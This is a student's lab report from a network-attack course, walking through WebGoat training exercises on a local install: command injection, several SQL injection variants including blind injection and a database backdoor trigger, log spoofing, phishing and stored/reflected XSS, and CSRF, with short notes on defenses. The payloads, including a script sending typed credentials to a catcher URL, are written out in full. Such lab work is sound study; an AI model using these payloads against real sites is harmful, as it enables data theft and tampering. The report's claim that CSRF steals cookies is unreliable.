2019-2020-2 20175320 《网络对抗技术》Exp9 Web安全基础

2019-2020-2 20175320 《网络对抗技术》Exp9 Web安全基础

一、实验要求

了解sql注入、xss攻击、csrf攻击的原理以及基本的方法,并借助webgoat进行练习。

二、实验目标

本实践的目标为理解常用网络攻击技术的基本原理,并在webgoat中练习不少于7个题目

三、实验过程

1.准备工作

1.1配置webgoat

(1)在https://github.com/WebGoat/WebGoat/releases?after=8.0.0中下载webgoat-container-7.0.1-war-exec.jar

(2)将上面下载的jar复制到kali的任一文件目录中,并在该目录位置打开终端,并在终端中输入命令java -jar webgoat-container-7.0.1-war-exec.jar,之后等待指令运行完成即可。

(3)在kali的浏览器中输入http://localhost:8080/WebGoat即可进入webgoat的登录界面,输入页面下方的用户名和密码即可登录,但此时由于没有配置jdk8,网页的显示出来的功能会有所欠缺。

1.2配置jdk8

就目前这一版本的kali而言,如果使用webgoat的话,需要在webgoat运行前配置jdk8。jdk8的配置需要我们在官网或其他地方下载jdk8的jar包,之后进行安装即可。jdk的安装过程参考这篇文章:jdk安装

2.SQL注入攻击

webgoat登录之后,我们可以在登录后的界面的左边选择练习的题目,而SQL注入攻击相关的题目在
Injection Flaws这一栏中。而选择所需的题目后,webgoat的右侧界面会显示该类型攻击的相关介绍以及相应的题目以及题目要求,如果我们能够按照题目要求完成题目,webgoat会在界面中提示我们题目已完成。

2.1Command Injection

(1)在webgoat的左侧界面中选择Injection Flaws>Command Injection。

(2)右键点击中间的页面并选择inspect Element,之后我们就可以在下方的窗口中对页面的代码进行修改

(3)找到下拉复选框对应的代码,在任意一个选项的文字后面添加"& ls",修改完成后点击页面的其他位置,当下方编辑过的代码的底色变为全蓝后,在下拉框中选中修改后的选项,点击view即可进行攻击。这里我注入了ls命令,而webgoat也提示了攻击成功并返回了目录下的文件列表。

2.2Numeric SQL Injection

(1)右键点击页面,选择inspect Element,找到选择城市的复选框的代码,在其中一个选项的value的值的后面添加 or 1=1

(2)在复选框中选择修改了value的选项,点击go即可获得所有城市天气数据表的所有数据。

2.3Log Spoofing

(1)在username中输入 user%0D%0ALogin Succeeded for username: admin

(2)点击login后即可看见日志中出现了user用户的登录信息以及伪造的admin用户的登录信息。

2.4String SQL Injection

根据题目提示,我们在文本框中输入Smith并提交的话可以获得last_name为Smith的记录,而为了获取数据表中的所有信息,我们可以在文本框中输入Smith' or 1=1 --' or 1=1 --,通过字符串注入来获取该表格的所有信息。

2.5LAB: SQL Injection

2.5.1 Stage 1: String SQL Injection
(1)右键点击界面,选择inspect Element,找到密码输入框的代码,将对应代码的maxlength改为25。

(2)在下拉框中选择用户Neville,密码框中输入' or '1' = '1,提交表单后即可获得所有人员的信息。

2.5.2 Stage 3: Numeric SQL Injection
题目给我们提供了一个普通用户的用户名和id,该用户可以查看自己的相关信息。从登录后界面的代码我们可以推断出用户信息是按照用户编号查询的,并且所有用户的信息都在一张表中,且这张表所有用户都有查询的权限,这为我们获取其他高权限用户的信息提供了条件。
(1)输入用户名和密码并点击login登录,用户名和密码都为larry。

(2)登录后点击ViewProfile可以查看该用户的所有信息。

(3)从登录后界面的代码可以看出查询职工信息的时候是根据员工编号进行搜索的,所有用户的信息放在一张表中,且所有用户都可访问。通过前面的步骤我们可以猜测所有用户都有salary这一属性,且老板的工资应该是最高的,于是这里我们将登录后界面中选择框中的value的值改为101 or 1=1 order by salary desc,使得我们能够获取信息表中的所有记录并按工资的降序将所有记录进行排序,最后将老板的信息置于所有记录的顶部,使得页面能将该记录显示出来。

(4)修改代码后点击ViewProfile,即可获得老板的信息。

2.6Database Backdoors

(1)id框中输入101; update employee set salary=5320,该字符串提交后会对数据库进行更新。

(2)id框中输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='5320@hackme.com'WHERE userid = NEW.userid设置触发器,该触发器会使每个新用户的email地址变为攻击者的地址。

2.7Blind Numeric SQL Injection

有些数据库系统在用户提交数据之后不会提供详细的反馈,为此我们需要利用仅有的条件,并通过构造输入的字串来获取数据表中我们需要的信息。
(1)由题目可知,我们已知存在101的登录账号,并且需要获取cc_number=1111222233334444的pin的值,为此我们构造以下字串:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 ),如果提交后显示账户无效,则说明pin小于5000。

(2)使用二分法不断尝试pin的值,最后当pin的值为2364时账户有效。

2.8Blind String SQL Injection

(1)由题可知,我们需要找到cc_number=432143214321432的记录的pin的值,为此我们需要构造以下字串:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' ),通过该字串以及提交之后的反馈,我们可以猜测出所需pin的第一个字母。

(2)获知第一个字母后,我们使用101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'H' )猜测第二个字母,需要猜测哪个字母就将substring的第二个参数改为要猜字母的位置,直到猜出所有的字母。经过多次尝试,我们得知所需pin的字串为Jill。

3.XSS攻击

3.1Phishing with XSS

(1)用以下的html代码构造攻击的表单。

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form>
<br><br><HR>

(2)将表单代码结合脚本构造攻击代码。

<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>

(3)在搜索框中输入攻击代码,点击搜索后会产生一个输入用户名和密码的表单,如果用户在表单中输入用户名和密码,我们就可以获得用户输入的用户名和密码。

3.2Stored XSS Attacks

这种攻击主要用于留言论坛,如果用户输入一段java script脚本,那么这段java script脚本会在所有访问该网页的用户的浏览器中运行。这里我们只需在消息中输入script语句<script>alert("stored xss attacks");</script>,标题随意输入,点击提交之后即可攻击成功。

3.3Reflected XSS Attacks

在反弹式xss攻击中,攻击者可以使用攻击脚本创建一个url,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它,而用户点击后就会收到攻击。在本题中我们只需在文本框中输入script命令<script>alert(""reflect xss attack);</script>并提交后即可攻击成功。

3.Cross Site Request Forgery(CSRF攻击)

(1)查看右侧parameters中的scr和menu的值,这里我的scr=271,menu=900。

(2)在title中输入exp5320,在message中输入<img src="http://localhost:8080/WebGoat/attack?Screen=271&menu=900&transferFunds=5000" width="1" height="1" />,点击submit提交。

(3)点击下方消息列表中的exp5320后即可实现攻击。

四、实验中遇到的问题

本次实验主要在webgoat的使用中遇到了页面功能不全的问题,而该问题只需要安装jdk8即可解决。

五、实验感想和思考

本次实验总的来说是有些难度的,主要需要我们理解几种网页攻击的原理以及针对不同类型的攻击方式给出相应的攻击方法。通过本次实验,我了解了sql注入、xss攻击、csrf攻击的概念以及过程,也提高了我对于网页安全的重视度以及对于网页攻击的警惕性。

思考:

  • (1)SQL注入攻击原理,如何防御
    答:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
    防范:
    1、对输入字串进行限制和检查。
    2、使用参数化查询。

  • (2)XSS攻击的原理,如何防御
    答:当动态页面中插入的内容含有特殊字符时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就会被攻击者利用并进行XSS攻击。
    防范:需要网页对用户提交的内容进行检测以及过滤,避免非法字符上传到服务器。

  • (3)CSRF攻击原理,如何防御
    答:该攻击可以窃取用户的cookie,从而实现在被攻击者不知情的情况下非法登录被攻击者的其他账户。
    防范:
    1、通过referer、token或者验证码来确认登录行为是否为人为的。
    2、严格设置cookie的域。

posted @ 2020-05-26 15:37  175320  阅读(178)  评论(0编辑  收藏  举报